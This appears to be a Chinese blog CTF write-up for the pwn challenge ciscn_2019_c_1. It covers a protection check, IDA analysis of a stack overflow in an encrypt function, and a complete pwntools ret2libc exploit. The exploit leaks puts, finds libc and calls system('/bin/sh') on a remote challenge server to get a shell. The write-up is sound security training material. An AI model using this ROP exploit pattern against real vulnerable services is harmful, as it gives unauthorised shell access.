zoukankan      html  css  js  c++  java
  • ciscn_2019_c_1

    0x01

    检查文件,64位

    检查开启的保护情况

    开启了NX保护

    0x02

    IDA静态分析

    在主函数这里并没有常见的gets栈溢出,尝试再这里面的子函数找找,发现了encrypt函数,进去查看

    发现这个变量x的自增是有空间大小限制的,猜测这里会出现栈溢出漏洞,写出exp尝试溢出

    0x03

    exp:

    from pwn import *
    from LibcSearcher import *
    
    content = 0
    context(os='linux', arch='amd64', log_level='debug')
    
    ret = 0x4006b9      #靶机是ubuntu,所以需要栈平衡
    elf = ELF('ciscn_2019_c_1')
    
    puts_plt = elf.plt["puts"] 
    puts_got = elf.got['puts']
    main_addr = elf.symbols["main"]
    
    pop_rdi_ret = 0x400c83      #×64程序基本都存在的一个地址pop rdi;ret
    
    
    def main():
    	if content == 1:
    		p = process('ciscn_2019_c_1')
    	else:	
    		p = remote('node3.buuoj.cn',25655)
    
    	payload = b'a' * (0x50 + 8)
    	payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    	#print(payload)
    
    	p.sendlineafter('Input your choice!
    ', '1')
    	p.sendlineafter('Input your Plaintext to be encrypted
    ', payload)
    
    	p.recvuntil('Ciphertext
    ')	
    	p.recvline()
    	puts_addr = u64(p.recv(7)[:-1].ljust(8,b'x00'))
    	print(puts_addr)      #找出puts的地址
    
    	libc = LibcSearcher('puts', puts_addr)
    
    	libc_base   = puts_addr - libc.dump('puts')      #找出函数地址偏移量
    	system_addr = libc_base + libc.dump('system')      #计算出system的在程序中的地址
    	binsh_addr  = libc_base + libc.dump('str_bin_sh')	
    
    	payload = b'a' * (0x50 + 8)
    	payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
    
    	p.sendlineafter('Input your choice!
    ', '1')
    	p.sendlineafter('Input your Plaintext to be encrypted
    ', payload)
    
    	p.interactive()
    
    main()
    

    执行结果:

    拿到flag

  • 相关阅读:
    Mac 删除并关闭.DS_Store
    python 使用AES加密16位
    python 使用AES加密时,提示模块不存在
    sql大全
    Mac 升级10.15后,安装软件时提示‘文件已损坏’的解决办法
    Django model Datefield和DateTimeField类型
    1013. 将数组分成和相等的三个部分
    python 批量pip安装包
    Ajax发送数据
    kafka实战教程(python操作kafka--理论篇)
  • 原文地址:https://www.cnblogs.com/Jleixin/p/13337213.html
Copyright © 2011-2022 走看看